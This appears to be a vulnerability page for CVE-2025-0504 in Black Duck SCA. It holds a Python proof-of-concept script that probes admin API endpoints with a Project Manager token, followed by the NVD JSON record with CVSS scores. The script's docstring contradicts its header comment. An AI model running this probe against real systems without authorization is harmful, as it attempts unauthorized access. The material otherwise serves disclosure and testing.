CVE-2025-0504

# CVE-2025-0504 PoC - Black Duck SCA Privilege Escalation # This PoC demonstrates the unauthorized access to Project Administrator functions # by a Project Manager user with Global User Read permission enabled import requests import json # Configuration TARGET_HOST = "https://blackduck-instance.com" API_TOKEN = "<project_manager_token>" HEADERS = { "Authorization": f"Bearer {API_TOKEN}", "Content-Type": "application/json" } def check_privilege_escalation(): """ Check if current user can access Project Administrator functions that should be restricted to Project Manager role """ # Attempt to access Project Administrator settings (should be restricted) admin_endpoints = [ "/api/admin/projects/settings", "/api/admin/users/permissions", "/api/admin/system/configuration" ] results = [] for endpoint in admin_endpoints: try: response = requests.get( f"{TARGET_HOST}{endpoint}", headers=HEADERS, timeout=10 ) results.append({ "endpoint": endpoint, "status_code": response.status_code, "accessible": response.status_code == 200 }) except requests.RequestException as e: results.append({ "endpoint": endpoint, "error": str(e) }) return results def main(): print("[*] Checking for CVE-2025-0504 privilege escalation...") results = check_privilege_escalation() print("[*] Access test results:") for result in results: print(json.dumps(result, indent=2)) # Check if any admin endpoint is accessible vulnerable = any(r.get("accessible") for r in results) if vulnerable: print("[!] VULNERABLE: Project Manager can access admin functions") else: print("[*] NOT VULNERABLE: Access properly restricted") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-0504", "sourceIdentifier": "[email protected]", "published": "2025-11-21T22:16:17.790", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Black Duck SCA versions prior to 2025.10.0 had user role permissions configured in an overly broad manner. Users with the scoped Project Manager user role with the Global User Read access permission enabled access to certain Project Administrator functionalities which should have be inaccessible. Exploitation does not grant full system control, but it may enable unauthorized changes to project configurations or access to system sensitive information."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-266"}]}], "references": [{"url": "https://community.blackduck.com/s/article/Black-Duck-Product-Security-Advisory-CVE-2025-0504", "source": "[email protected]"}]}}